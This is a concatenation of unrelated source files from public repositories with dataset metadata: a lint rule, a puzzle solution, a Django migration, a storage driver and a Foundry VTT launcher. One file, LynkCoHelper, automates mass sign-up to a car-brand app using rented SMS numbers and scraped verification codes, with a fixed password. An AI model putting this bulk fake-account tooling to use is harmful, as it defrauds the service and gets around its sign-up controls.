2022-03-04T08:45:42.000Z

ansiblelater/rules/CheckScmInSrc.py

ankitdobhal/ansible-later

a107cd2821e310fd459a7f9b802d5794f2b96f35

[ "MIT" ]

4

2021-02-10T03:35:19.000Z

2022-01-17T15:54:39.000Z

from ansible.parsing.yaml.objects import AnsibleMapping from ansiblelater.standard import StandardBase class CheckScmInSrc(StandardBase): sid = "ANSIBLE0005" description = "Use `scm:` key rather than `src: scm+url`" helptext = "usage of `src: scm+url` not recommended" version = "0.1" types = ["rolesfile"] def check(self, candidate, settings): roles, errors = self.get_tasks(candidate, settings) if not errors: for role in roles: if isinstance(role, AnsibleMapping): if "+" in role.get("src"): errors.append(self.Error(role["__line__"], self.helptext)) return self.Result(candidate.path, errors)

30.166667

82

0.627072

81

724

5.54321

0.641975

0.026726

0.040089

0

0.011257

0.263812

724

23

83

31.478261

0.831144

0

0.15884

0

1

0.0625

false

0

0.125

0

0.625

0

null

0

null

0

1

0

1

486936b454230e71425f5f21ffabf8c3b40a119e

595

py

Python

DMOJ/CCC/slot machine.py

eddiegz/Personal-C

f7869826216e5c665f8f646502141f0dc680e545

[ "MIT" ]

3

2021-05-15T08:18:09.000Z

2021-05-17T04:41:57.000Z

DMOJ/CCC/slot machine.py

eddiegz/Personal-C

f7869826216e5c665f8f646502141f0dc680e545

[ "MIT" ]

null

DMOJ/CCC/slot machine.py

eddiegz/Personal-C

f7869826216e5c665f8f646502141f0dc680e545

[ "MIT" ]

null

quarter=int(input()) p1=int(input()) p2=int(input()) p3=int(input()) time=0 while quarter>0: if quarter == 0: continue p1+=1 quarter-=1 time+=1 if p1==35: quarter+=30 p1=0 if quarter == 0: continue time+=1 p2+=1 quarter-=1 if p2==100: p2=0 quarter+=60 if quarter == 0: continue p3+=1 time+=1 quarter-=1 if p3==10: quarter+=9 p3=0 print(f'Martha plays {time} times before going broke.')

16.081081

56

0.438655

77

595

3.38961

0.337662

0.122605

0.114943

0.206897

0.145594

0

0.122024

0.435294

595

37

57

16.081081

0.654762

0

0.387097

0

0.080357

0

1

0

false

0

0.032258

0

null

0

1

0

null

0

1

4869a5e537b1616b1387d41f76532922834d0c3e

327

py

Python

project/app/migrations/0003_auto_20210125_0924.py

dbinetti/kidsallin

147491cdfbe812ffde91725193ec16c03083c1da

[ "BSD-3-Clause" ]

null

project/app/migrations/0003_auto_20210125_0924.py

dbinetti/kidsallin

147491cdfbe812ffde91725193ec16c03083c1da

[ "BSD-3-Clause" ]

null

project/app/migrations/0003_auto_20210125_0924.py

dbinetti/kidsallin

147491cdfbe812ffde91725193ec16c03083c1da

[ "BSD-3-Clause" ]

null

# Generated by Django 3.1.5 on 2021-01-25 16:24 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('app', '0002_auto_20210124_0610'), ] operations = [ migrations.RenameModel( old_name='Parent', new_name='Account', ), ]

18.166667

47

0.590214

36

327

5.222222

0.861111

0

0.134783

0.296636

327

17

48

19.235294

0.682609

0.137615

0

1

0

0.139286

0.082143

0

1

0

false

0

0.090909

0

0.363636

0

null

0

1

0

null

0

1

486abe98f15277d75707a2bda0dddf48de43bab7

28,203

py

Python

cinder/volume/drivers/emc/emc_vmax_provision.py

kazum/cinder

370b8e60c3166b289c8da924a227dd1bc63f8b8a

[ "Apache-2.0" ]

null

cinder/volume/drivers/emc/emc_vmax_provision.py

kazum/cinder

370b8e60c3166b289c8da924a227dd1bc63f8b8a

[ "Apache-2.0" ]

null

cinder/volume/drivers/emc/emc_vmax_provision.py

kazum/cinder

370b8e60c3166b289c8da924a227dd1bc63f8b8a

[ "Apache-2.0" ]

null

# Copyright (c) 2012 - 2014 EMC Corporation. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import six from cinder import exception from cinder.i18n import _, _LE from cinder.openstack.common import log as logging from cinder.volume.drivers.emc import emc_vmax_utils LOG = logging.getLogger(__name__) STORAGEGROUPTYPE = 4 POSTGROUPTYPE = 3 EMC_ROOT = 'root/emc' THINPROVISIONINGCOMPOSITE = 32768 THINPROVISIONING = 5 class EMCVMAXProvision(object): """Provisioning Class for SMI-S based EMC volume drivers. This Provisioning class is for EMC volume drivers based on SMI-S. It supports VMAX arrays. """ def __init__(self, prtcl): self.protocol = prtcl self.utils = emc_vmax_utils.EMCVMAXUtils(prtcl) def delete_volume_from_pool( self, conn, storageConfigservice, volumeInstanceName, volumeName): """Given the volume instance remove it from the pool. :param conn: connection the the ecom server :param storageConfigservice: volume created from job :param volumeInstanceName: the volume instance name :param volumeName: the volume name (String) :param rc: return code """ rc, job = conn.InvokeMethod( 'EMCReturnToStoragePool', storageConfigservice, TheElements=[volumeInstanceName]) if rc != 0L: rc, errordesc = self.utils.wait_for_job_complete(conn, job) if rc != 0L: exceptionMessage = (_( "Error Delete Volume: %(volumeName)s. " "Return code: %(rc)lu. Error: %(error)s") % {'volumeName': volumeName, 'rc': rc, 'error': errordesc}) LOG.error(exceptionMessage) raise exception.VolumeBackendAPIException( data=exceptionMessage) return rc def create_volume_from_pool( self, conn, storageConfigService, volumeName, poolInstanceName, volumeSize): """Create the volume in the specified pool. :param conn: the connection information to the ecom server :param storageConfigService: the storage configuration service :param volumeName: the volume name (String) :param poolInstanceName: the pool instance name to create the dummy volume in :param volumeSize: volume size (String) :returns: volumeDict - the volume dict """ rc, job = conn.InvokeMethod( 'CreateOrModifyElementFromStoragePool', storageConfigService, ElementName=volumeName, InPool=poolInstanceName, ElementType=self.utils.get_num(THINPROVISIONING, '16'), Size=self.utils.get_num(volumeSize, '64'), EMCBindElements=False) LOG.debug("Create Volume: %(volumename)s Return code: %(rc)lu" % {'volumename': volumeName, 'rc': rc}) if rc != 0L: rc, errordesc = self.utils.wait_for_job_complete(conn, job) if rc != 0L: exceptionMessage = (_( "Error Create Volume: %(volumeName)s. " "Return code: %(rc)lu. Error: %(error)s") % {'volumeName': volumeName, 'rc': rc, 'error': errordesc}) LOG.error(exceptionMessage) raise exception.VolumeBackendAPIException( data=exceptionMessage) # Find the newly created volume volumeDict = self.get_volume_dict_from_job(conn, job['Job']) return volumeDict, rc def create_and_get_storage_group(self, conn, controllerConfigService, storageGroupName, volumeInstanceName): """Create a storage group and return it. :param conn: the connection information to the ecom server :param controllerConfigService: the controller configuration service :param storageGroupName: the storage group name (String :param volumeInstanceName: the volume instance name :returns: foundStorageGroupInstanceName - instance name of the default storage group """ rc, job = conn.InvokeMethod( 'CreateGroup', controllerConfigService, GroupName=storageGroupName, Type=self.utils.get_num(STORAGEGROUPTYPE, '16'), Members=[volumeInstanceName]) if rc != 0L: rc, errordesc = self.utils.wait_for_job_complete(conn, job) if rc != 0L: exceptionMessage = (_( "Error Create Group: %(groupName)s. " "Return code: %(rc)lu. Error: %(error)s") % {'groupName': storageGroupName, 'rc': rc, 'error': errordesc}) LOG.error(exceptionMessage) raise exception.VolumeBackendAPIException( data=exceptionMessage) foundStorageGroupInstanceName = self._find_new_storage_group( conn, job, storageGroupName) return foundStorageGroupInstanceName def create_storage_group_no_members( self, conn, controllerConfigService, groupName): """Create a new storage group that has no members. :param conn: connection the ecom server :param controllerConfigService: the controller configuration service :param groupName: the proposed group name :returns: foundStorageGroupInstanceName - the instance Name of the storage group """ rc, job = conn.InvokeMethod( 'CreateGroup', controllerConfigService, GroupName=groupName, Type=self.utils.get_num(STORAGEGROUPTYPE, '16'), DeleteWhenBecomesUnassociated=False) if rc != 0L: rc, errordesc = self.utils.wait_for_job_complete(conn, job) if rc != 0L: exceptionMessage = (_( "Error Create Group: %(groupName)s. " "Return code: %(rc)lu. Error: %(error)s") % {'groupName': groupName, 'rc': rc, 'error': errordesc}) LOG.error(exceptionMessage) raise exception.VolumeBackendAPIException( data=exceptionMessage) foundStorageGroupInstanceName = self._find_new_storage_group( conn, job, groupName) return foundStorageGroupInstanceName def _find_new_storage_group( self, conn, maskingGroupDict, storageGroupName): """After creating an new storage group find it and return it. :param conn: connection the ecom server :param maskingGroupDict: the maskingGroupDict dict :param storageGroupName: storage group name (String) :returns: maskingGroupDict['MaskingGroup'] """ foundStorageGroupInstanceName = None if 'MaskingGroup' in maskingGroupDict: foundStorageGroupInstanceName = maskingGroupDict['MaskingGroup'] return foundStorageGroupInstanceName def get_volume_dict_from_job(self, conn, jobInstance): """Given the jobInstance determine the volume Instance. :param conn: the ecom connection :param jobInstance: the instance of a job :returns: volumeDict - an instance of a volume """ associators = conn.Associators( jobInstance, ResultClass='EMC_StorageVolume') volpath = associators[0].path volumeDict = {} volumeDict['classname'] = volpath.classname keys = {} keys['CreationClassName'] = volpath['CreationClassName'] keys['SystemName'] = volpath['SystemName'] keys['DeviceID'] = volpath['DeviceID'] keys['SystemCreationClassName'] = volpath['SystemCreationClassName'] volumeDict['keybindings'] = keys return volumeDict def remove_device_from_storage_group( self, conn, controllerConfigService, storageGroupInstanceName, volumeInstanceName, volumeName): """Remove a volume from a storage group. :param conn: the connection to the ecom server :param controllerConfigService: the controller configuration service :param storageGroupInstanceName: the instance name of the storage group :param volumeInstanceName: the instance name of the volume :param volumeName: the volume name (String) :returns: rc - the return code of the job """ rc, jobDict = conn.InvokeMethod('RemoveMembers', controllerConfigService, MaskingGroup=storageGroupInstanceName, Members=[volumeInstanceName]) if rc != 0L: rc, errorDesc = self.utils.wait_for_job_complete(conn, jobDict) if rc != 0L: exceptionMessage = (_( "Error removing volume %(vol)s. %(error)s") % {'vol': volumeName, 'error': errorDesc}) LOG.error(exceptionMessage) raise exception.VolumeBackendAPIException( data=exceptionMessage) return rc def add_members_to_masking_group( self, conn, controllerConfigService, storageGroupInstanceName, volumeInstanceName, volumeName): """Add a member to a masking group group. :param conn: the connection to the ecom server :param controllerConfigService: the controller configuration service :param storageGroupInstanceName: the instance name of the storage group :param volumeInstanceName: the instance name of the volume :param volumeName: the volume name (String) """ rc, job = conn.InvokeMethod( 'AddMembers', controllerConfigService, MaskingGroup=storageGroupInstanceName, Members=[volumeInstanceName]) if rc != 0L: rc, errordesc = self.utils.wait_for_job_complete(conn, job) if rc != 0L: exceptionMessage = (_( "Error mapping volume %(vol)s. %(error)s") % {'vol': volumeName, 'error': errordesc}) LOG.error(exceptionMessage) raise exception.VolumeBackendAPIException( data=exceptionMessage) def unbind_volume_from_storage_pool( self, conn, storageConfigService, poolInstanceName, volumeInstanceName, volumeName): """Unbind a volume from a pool and return the unbound volume. :param conn: the connection information to the ecom server :param storageConfigService: the storage configuration service instance name :param poolInstanceName: the pool instance name :param volumeInstanceName: the volume instance name :param volumeName: the volume name :returns: unboundVolumeInstance - the unbound volume instance """ rc, job = conn.InvokeMethod( 'EMCUnBindElement', storageConfigService, InPool=poolInstanceName, TheElement=volumeInstanceName) if rc != 0L: rc, errordesc = self.utils.wait_for_job_complete(conn, job) if rc != 0L: exceptionMessage = (_( "Error unbinding volume %(vol)s from pool. %(error)s") % {'vol': volumeName, 'error': errordesc}) LOG.error(exceptionMessage) raise exception.VolumeBackendAPIException( data=exceptionMessage) return rc, job def modify_composite_volume( self, conn, elementCompositionService, theVolumeInstanceName, inVolumeInstanceName): """Given a composite volume add a storage volume to it. :param conn: the connection to the ecom :param elementCompositionService: the element composition service :param theVolumeInstanceName: the existing composite volume :param inVolumeInstanceName: the volume you wish to add to the composite volume :returns: rc - return code :returns: job - job """ rc, job = conn.InvokeMethod( 'CreateOrModifyCompositeElement', elementCompositionService, TheElement=theVolumeInstanceName, InElements=[inVolumeInstanceName]) if rc != 0L: rc, errordesc = self.utils.wait_for_job_complete(conn, job) if rc != 0L: exceptionMessage = (_( "Error adding volume to composite volume. " "Error is: %(error)s") % {'error': errordesc}) LOG.error(exceptionMessage) raise exception.VolumeBackendAPIException( data=exceptionMessage) return rc, job def create_composite_volume( self, conn, elementCompositionService, volumeSize, volumeName, poolInstanceName, compositeType, numMembers): """Create a new volume using the auto meta feature. :param conn: the connection the the ecom server :param elementCompositionService: the element composition service :param volumeSize: the size of the volume :param volumeName: user friendly name :param poolInstanceName: the pool to bind the composite volume to :param compositeType: the proposed composite type of the volume e.g striped/concatenated :param numMembers: the number of meta members to make up the composite. If it is 1 then a non composite is created :returns: rc :returns: errordesc """ newMembers = 2 LOG.debug( "Parameters for CreateOrModifyCompositeElement: " "elementCompositionService: %(elementCompositionService)s " "provisioning: %(provisioning)lu " "volumeSize: %(volumeSize)s " "newMembers: %(newMembers)lu " "poolInstanceName: %(poolInstanceName)s " "compositeType: %(compositeType)lu " "numMembers: %(numMembers)s " % {'elementCompositionService': elementCompositionService, 'provisioning': THINPROVISIONINGCOMPOSITE, 'volumeSize': volumeSize, 'newMembers': newMembers, 'poolInstanceName': poolInstanceName, 'compositeType': compositeType, 'numMembers': numMembers}) rc, job = conn.InvokeMethod( 'CreateOrModifyCompositeElement', elementCompositionService, ElementName=volumeName, ElementType=self.utils.get_num(THINPROVISIONINGCOMPOSITE, '16'), Size=self.utils.get_num(volumeSize, '64'), ElementSource=self.utils.get_num(newMembers, '16'), EMCInPools=[poolInstanceName], CompositeType=self.utils.get_num(compositeType, '16'), EMCNumberOfMembers=self.utils.get_num(numMembers, '32')) if rc != 0L: rc, errordesc = self.utils.wait_for_job_complete(conn, job) if rc != 0L: exceptionMessage = (_( "Error Create Volume: %(volumename)s. " "Return code: %(rc)lu. Error: %(error)s") % {'volumename': volumeName, 'rc': rc, 'error': errordesc}) LOG.error(exceptionMessage) raise exception.VolumeBackendAPIException( data=exceptionMessage) # Find the newly created volume volumeDict = self.get_volume_dict_from_job(conn, job['Job']) return volumeDict, rc def create_new_composite_volume( self, conn, elementCompositionService, compositeHeadInstanceName, compositeMemberInstanceName, compositeType): """Creates a new composite volume. Given a bound composite head and an unbound composite member create a new composite volume. :param conn: the connection the the ecom server :param elementCompositionService: the element composition service :param compositeHeadInstanceName: the composite head. This can be bound :param compositeMemberInstanceName: the composite member. This must be unbound :param compositeType: the composite type e.g striped or concatenated :returns: rc - return code :returns: errordesc - descriptions of the error """ rc, job = conn.InvokeMethod( 'CreateOrModifyCompositeElement', elementCompositionService, ElementType=self.utils.get_num('2', '16'), InElements=( [compositeHeadInstanceName, compositeMemberInstanceName]), CompositeType=self.utils.get_num(compositeType, '16')) if rc != 0L: rc, errordesc = self.utils.wait_for_job_complete(conn, job) if rc != 0L: exceptionMessage = (_( "Error Creating new composite Volume Return code: %(rc)lu." "Error: %(error)s") % {'rc': rc, 'error': errordesc}) LOG.error(exceptionMessage) raise exception.VolumeBackendAPIException( data=exceptionMessage) return rc, job def _migrate_volume( self, conn, storageRelocationServiceInstanceName, volumeInstanceName, targetPoolInstanceName): """Migrate a volume to another pool. :param conn: the connection to the ecom server :param storageRelocationServiceInstanceName: the storage relocation service :param volumeInstanceName: the volume to be migrated :param targetPoolInstanceName: the target pool to migrate the volume to :returns: rc - return code """ rc, job = conn.InvokeMethod( 'RelocateStorageVolumesToStoragePool', storageRelocationServiceInstanceName, TheElements=[volumeInstanceName], TargetPool=targetPoolInstanceName) if rc != 0L: rc, errordesc = self.utils.wait_for_job_complete(conn, job) if rc != 0L: exceptionMessage = (_( "Error Migrating volume from one pool to another. " "Return code: %(rc)lu. Error: %(error)s") % {'rc': rc, 'error': errordesc}) LOG.error(exceptionMessage) raise exception.VolumeBackendAPIException( data=exceptionMessage) return rc def migrate_volume_to_storage_pool( self, conn, storageRelocationServiceInstanceName, volumeInstanceName, targetPoolInstanceName): """Given the storage system name, get the storage relocation service. :param conn: the connection to the ecom server :param storageRelocationServiceInstanceName: the storage relocation service :param volumeInstanceName: the volume to be migrated :param targetPoolInstanceName: the target pool to migrate the volume to. :returns: rc """ LOG.debug( "Volume instance name is %(volumeInstanceName)s. " "Pool instance name is : %(targetPoolInstanceName)s. " % {'volumeInstanceName': volumeInstanceName, 'targetPoolInstanceName': targetPoolInstanceName}) rc = -1 try: rc = self._migrate_volume( conn, storageRelocationServiceInstanceName, volumeInstanceName, targetPoolInstanceName) except Exception as ex: if 'source of a migration session' in six.text_type(ex): try: rc = self._terminate_migrate_session( conn, volumeInstanceName) except Exception as ex: LOG.error(_LE("Exception: %s") % six.text_type(ex)) exceptionMessage = (_( "Failed to terminate migrate session")) LOG.error(exceptionMessage) raise exception.VolumeBackendAPIException( data=exceptionMessage) try: rc = self._migrate_volume( conn, storageRelocationServiceInstanceName, volumeInstanceName, targetPoolInstanceName) except Exception as ex: LOG.error(_LE("Exception: %s") % six.text_type(ex)) exceptionMessage = (_( "Failed to migrate volume for the second time")) LOG.error(exceptionMessage) raise exception.VolumeBackendAPIException( data=exceptionMessage) else: LOG.error(_LE("Exception: %s") % six.text_type(ex)) exceptionMessage = (_( "Failed to migrate volume for the first time")) LOG.error(exceptionMessage) raise exception.VolumeBackendAPIException( data=exceptionMessage) return rc def _terminate_migrate_session(self, conn, volumeInstanceName): """Given the volume instance terminate a migrate session. :param conn: the connection to the ecom server :param volumeInstanceName: the volume to be migrated :returns: rc """ rc, job = conn.InvokeMethod( 'RequestStateChange', volumeInstanceName, RequestedState=self.utils.get_num(32769, '16')) if rc != 0L: rc, errordesc = self.utils.wait_for_job_complete(conn, job) if rc != 0L: exceptionMessage = (_( "Error Terminating migrate session. " "Return code: %(rc)lu. Error: %(error)s") % {'rc': rc, 'error': errordesc}) LOG.error(exceptionMessage) raise exception.VolumeBackendAPIException( data=exceptionMessage) return rc def create_element_replica( self, conn, repServiceInstanceName, cloneName, sourceName, sourceInstance, targetInstance): """Make SMI-S call to create replica for source element. :param conn: the connection to the ecom server :param repServiceInstanceName: instance name of the replication service :param cloneName: replica name :param sourceName: source volume name :param sourceInstance: source volume instance :param targetInstance: target volume instance :returns: rc - return code :returns: job - job object of the replica creation operation """ if targetInstance is None: rc, job = conn.InvokeMethod( 'CreateElementReplica', repServiceInstanceName, ElementName=cloneName, SyncType=self.utils.get_num(8, '16'), SourceElement=sourceInstance.path) else: rc, job = conn.InvokeMethod( 'CreateElementReplica', repServiceInstanceName, ElementName=cloneName, SyncType=self.utils.get_num(8, '16'), SourceElement=sourceInstance.path, TargetElement=targetInstance.path) if rc != 0L: rc, errordesc = self.utils.wait_for_job_complete(conn, job) if rc != 0L: exceptionMessage = (_( "Error Create Cloned Volume: " "Volume: %(cloneName)s Source Volume:" "%(sourceName)s. Return code: %(rc)lu. " "Error: %(error)s") % {'cloneName': cloneName, 'sourceName': sourceName, 'rc': rc, 'error': errordesc}) LOG.error(exceptionMessage) raise exception.VolumeBackendAPIException( data=exceptionMessage) return rc, job def delete_clone_relationship( self, conn, repServiceInstanceName, syncInstanceName, cloneName, sourceName): """Deletes the relationship between the clone and source volume. Makes an SMI-S call to break clone relationship between the clone volume and the source :param conn: the connection to the ecom server :param repServiceInstanceName: instance name of the replication service :param syncInstanceName: instance name of the SE_StorageSynchronized_SV_SV object :param cloneName: replica name :param sourceName: source volume name :param sourceInstance: source volume instance :returns: rc - return code :returns: job - job object of the replica creation operation """ ''' 8/Detach - Delete the synchronization between two storage objects. Treat the objects as independent after the synchronization is deleted. ''' rc, job = conn.InvokeMethod( 'ModifyReplicaSynchronization', repServiceInstanceName, Operation=self.utils.get_num(8, '16'), Synchronization=syncInstanceName) LOG.debug("Break clone relationship: Volume: %(cloneName)s " "Source Volume: %(sourceName)s Return code: %(rc)lu" % {'cloneName': cloneName, 'sourceName': sourceName, 'rc': rc}) if rc != 0L: rc, errordesc = self.utils.wait_for_job_complete(conn, job) if rc != 0L: exceptionMessage = (_( "Error break clone relationship: " "Clone Volume: %(cloneName)s " "Source Volume: %(sourceName)s. " "Return code: %(rc)lu. Error: %(error)s") % {'cloneName': cloneName, 'sourceName': sourceName, 'rc': rc, 'error': errordesc}) LOG.error(exceptionMessage) raise exception.VolumeBackendAPIException( data=exceptionMessage) return rc, job def get_target_endpoints(self, conn, storageHardwareService, hardwareId): """Given the hardwareId get the :param conn: the connection to the ecom server :param storageHardwareService: the storage HardwareId Service :param hardwareId: the hardware Id :returns: rc :returns: targetendpoints """ rc, targetEndpoints = conn.InvokeMethod( 'EMCGetTargetEndpoints', storageHardwareService, HardwareId=hardwareId) if rc != 0L: exceptionMessage = (_("Error finding Target WWNs.")) LOG.error(exceptionMessage) raise exception.VolumeBackendAPIException(data=exceptionMessage) return rc, targetEndpoints

42.731818

79

0.587987

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6.657062

0.137175

0.01646

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0.574529

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0.447357

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0.337836

28,203

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42.796662

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null

0

null

0

null

0

1

0

1

486d212547e00f7831ca70c40d4c968f71b4de71

4,575

py

Python

LynkCoHelper/lynco_regist_wrok.py

21haoshaonian/LynkCoHelper

b4e5d67583190bf09fe44902499c3a99463b4df5

[ "MIT" ]

null

LynkCoHelper/lynco_regist_wrok.py

21haoshaonian/LynkCoHelper

b4e5d67583190bf09fe44902499c3a99463b4df5

[ "MIT" ]

null

LynkCoHelper/lynco_regist_wrok.py

21haoshaonian/LynkCoHelper

b4e5d67583190bf09fe44902499c3a99463b4df5

[ "MIT" ]

null

#!/usr/bin/python3 import threading import time import base64 from lynkco_app_request import lynkco_app_request from com.uestcit.api.gateway.sdk.auth.aes import aes as AES from sms_request import sms_request import json import sys import os import re class lynco_regist_wrok(threading.Thread): """新开线程处理任务""" def __init__(self, config): # 初始化线程 threading.Thread.__init__(self) # 缓存配置信息 self.config = config self.project_id = self.config['sms_platform']['project_id'] self.max_count = int(self.config['sms_platform']['count']) self.sms_request = sms_request() # 缓存APPKEY(因为存储的是base64后的值，所以需要base64解码一次) self.app_key = base64.b64decode(self.config['api_geteway']['app_key']).decode('utf-8') # 缓存APPSECRET(因为存储的是base64后的值，所以需要base64解码一次) self.app_secret = base64.b64decode(self.config['api_geteway']['app_secret']).decode('utf-8') # 缓存AESKEY(因为存储的是两次base64后的值，所以需要base64解码两次) self.aes_key = base64.b64decode(base64.b64decode(self.config['aes_key']).decode('utf-8')).decode('utf-8') self.AES = AES(self.aes_key) self.lynkco_app_request = lynkco_app_request(self.app_key, self.app_secret) def run(self): """线程开始的方法""" print ("开始注册任务 " + time.strftime('%Y-%m-%d %H:%M:%S')) self.token = self.get_token() if('' == self.token): return 0 phone_list = [] while len(phone_list) < self.max_count: phone = self.regist() if('' == phone): continue phone_list.append({ 'username': phone, 'password': 'a123456789' }) with open(sys.path[0] + '/phone_list_' + time.strftime('%Y%m%d%H%M%S') + '.json', 'w') as json_file: json_file.write(json.dumps(phone_list,ensure_ascii = False)) print ("注册执行完成任务 " + time.strftime('%Y-%m-%d %H:%M:%S')) def get_token(self): """登录获取token""" sms_username = self.config['sms_platform']['username'] sms_password = self.config['sms_platform']['password'] context = self.sms_request.login(sms_username, sms_password) array = context.split('|') if(int(array[0]) != 1): print("短信账户登录失败：" + context + " " + time.strftime('%Y-%m-%d %H:%M:%S')) return '' token = array[1] print("短信账户登录成功，token：" + token + " " + time.strftime('%Y-%m-%d %H:%M:%S')) return token def regist(self): """App端操作流程""" # 获取一个手机号 context = self.sms_request.get_phone(self.token, self.project_id) array = context.split('|') if(int(array[0]) != 1): print("短信账户获取手机号失败：" + context + " " + time.strftime('%Y-%m-%d %H:%M:%S')) return '' phone = array[1] # 发送注册短信 response = self.lynkco_app_request.get_vcode_by_regist(phone) if response['code'] != 'success': print("发送注册短信失败" + response['message'] + " " + time.strftime('%Y-%m-%d %H:%M:%S')) return '' # 循环10次获取短信内容，每次获取失败等待3秒钟 vcode = '' fail_count = 0; while fail_count < 10: context = self.sms_request.get_phone_msg(self.token, self.project_id, phone) array = context.split('|') if(int(array[0]) != 1): print("短信账户获取验证码内容失败：" + context + " " + time.strftime('%Y-%m-%d %H:%M:%S')) fail_count += 1 time.sleep(3) else: context = array[1] # 此处需要正则取验证码 pattern = re.compile(r'\d{6}') result = pattern.findall(context) if(len(result) != 1): print("短信账户解析验证码内容失败：" + context + " " + time.strftime('%Y-%m-%d %H:%M:%S')) else: vcode = result[0] print("短信账户获取验证码内容成功：" + vcode + " " + time.strftime('%Y-%m-%d %H:%M:%S')) break if('' == vcode): return '' # 发送注册 password = self.AES.encrypt('a123456789') response = self.lynkco_app_request.regist(phone, password, vcode) if response['code'] != 'success': print("发送注册接口失败" + response['message'] + " " + time.strftime('%Y-%m-%d %H:%M:%S')) return '' # 尝试登陆一次 response = self.lynkco_app_request.login(phone, password) if response['code'] != 'success': print("尝试接口失败" + response['message'] + " " + time.strftime('%Y-%m-%d %H:%M:%S')) return phone return phone

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4,575

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114

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0.123596

0

null

0

null

0

1

0

1

4875786274d1dcdef100393c55e236d7510c92a2

10,457

py

Python

Foundry_Manager_v2.py

MrVauxs/Foundry-Selection-Menu

13f9164595c3c11fe01e5d44cd35bcc79b6a34df

[ "MIT" ]

5

2020-09-26T10:16:17.000Z

2022-01-06T14:31:54.000Z

Foundry_Manager_v2.py

MrVauxs/Foundry-Selection-Menu

13f9164595c3c11fe01e5d44cd35bcc79b6a34df

[ "MIT" ]

null

Foundry_Manager_v2.py

MrVauxs/Foundry-Selection-Menu

13f9164595c3c11fe01e5d44cd35bcc79b6a34df

[ "MIT" ]

1

2020-09-07T23:36:17.000Z

import requests from bottle import route, run, template,ServerAdapter,redirect import subprocess from html.parser import HTMLParser import threading import time ssl_cert=None #XYZ - 'fullchain.pem' ssl_key=None #XYZ - 'privkey.pem' world_mapping={"URL_Path":["world-folder","Name To Be Shown"], "URL_Path2":["world-folder-2","Name To Be Shown Two: Electric Boogaloo"]} #XYZ - Repeatable until the HTML page doesn't handle it. foundry_base="http://blank.com" #XYZ foundry_port=30000 #XYZ foundry_url=foundry_base+":"+str(foundry_port) foundry_directory="C:\Program Files\FoundryVTT" #XYZ - The directory has to point to /resources/app idle_logout=300 #XYZ- Seconds - time to shut down foundry if at login screen and 0 users ##Populate this automatically from module configuration, can probably get pictures etc but who has time? class SSLWrapper(ServerAdapter): def __init__(self, ssl_certfile = None, ssl_keyfile = None, host='0.0.0.0', port=8080): self._ssl_certfile = ssl_certfile self._ssl_keyfile = ssl_keyfile super().__init__(host, port) def run(self, handler): from cheroot.ssl.builtin import BuiltinSSLAdapter from cheroot import wsgi server = wsgi.Server((self.host, self.port), handler) self.srv = server if server.ssl_adapter is not None: server.ssl_adapter = BuiltinSSLAdapter(self._ssl_certfile, self._ssl_keyfile) try: server.start() finally: server.stop() def shutdown(self): self.srv.stop() class AwfulScrape_nPlayers(HTMLParser): #This is why javascript was invented def __init__(self): super().__init__() self.in_label=False #We are searching for a "Current Players:" label self.previous_label_players=False #If we found it, grab the first input field self.nPlayers=None #If nothing is found crash def handle_starttag(self, tag, attrs): if tag == "label": self.in_label=True if (tag == "input") and self.previous_label_players: self.nPlayers=int(dict(attrs)["value"]) self.previous_label_players=False def handle_endtag(self, tag): if tag == "label": self.in_label=False if tag == "header": self.in_header=False def handle_data(self, data): if self.in_label: if "Current Players" in data: self.previous_label_players=True else: self.previous_label_players=False ## A bunch of threading stuff class monitorPlayers(object): def __init__(self, foundry_proccess): self.foundry_proccess = foundry_proccess thread = threading.Thread(target=self.run, args=()) thread.daemon = False thread.start() def run(self): #Keep checking number of players #If it's been 0 for 5 minutes, return to setup zero_players=False while True: n_players=get_logged_in_players(timeout=30.) #Returns "None" if in setup etc so it's safe if (n_players == 0) and zero_players: self.foundry_proccess.send_signal(2) self.foundry_proccess.send_signal(2) ##I think I need to send this twice? self.foundry_proccess.wait() break time.sleep(idle_logout) #Wait five minutes if n_players == 0: zero_players=True else: zero_players=False server.start() class runServer(object): def __init__(self): self.server=SSLWrapper(ssl_certfile = ssl_cert, ssl_keyfile = ssl_key,port=foundry_port) thread = threading.Thread(target=self.run, args=([self.server])) thread.daemon = False thread.start() def run(self,server): run(server=server) ##This isn't a cruel practical joke - the second run refers to bottle.run (I'll remove the uglyness in the future) class bottleManager: #this is bascially just a global variable def __init__(self): self.bottle_server=runServer() def shutdown(self): self.bottle_server.server.shutdown() self.bottle_server = None def start(self): self.bottle_server=runServer() class startFoundryWorld(object): def __init__(self, world): self.world = world thread = threading.Thread(target=self.run, args=([world])) thread.daemon = False thread.start() def run(self,world): server.shutdown() process_obj= subprocess.Popen(["node","main.js","--port=30000", "--dataPath=C:\Users\XYZ\AppData\Local\FoundryVTT\Data","--world=%WORLD%".replace("%WORLD%",world)],cwd=foundry_directory) #XYZ - The --dataPath MUST direct to the FoundryVTT data folder (where worlds reside) import time time.sleep(12) monitorPlayers(process_obj) def get_logged_in_players(timeout=0.1): r=requests.get(foundry_url+"/join",timeout=timeout) par=AwfulScrape_nPlayers() par.feed(r.text) return par.nPlayers def _get_world_url(item): return "<p> > <a href='/"+item[0]+"' >" + item[1][1]+"</a> </p>" @route('/') @route('/<world>') def index(world=None): if (world == "join") or (world is None): return """<!DOCTYPE html> <html> <title>Foundry World Select</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Signika"> <style> body,h1 {font-family: "Signika", sans-serif} body, html {height: 100%; background-color: #3f403f;} .bgimg { min-height: 100%; background-position: center; background-size: cover; } </style> <body> <div class="bgimg w3-display-container w3-animate-opacity w3-text-white"> <div class="w3-display-topleft w3-padding-large w3-xlarge"> Welcome to Dlivitz & Vauxs Foundry Selection Screen! </div> <div class="w3-display-middle"> <h1 class="w3-jumbo w3-animate-top"> <strong> """+"".join([_get_world_url(x) for x in world_mapping.items()]) +""" </strong></h1> <hr class="w3-border-grey" style="margin:auto;width:40%"> <p class="w3-large w3-center">This will start your selected world and you will be able to login.</p> </div> 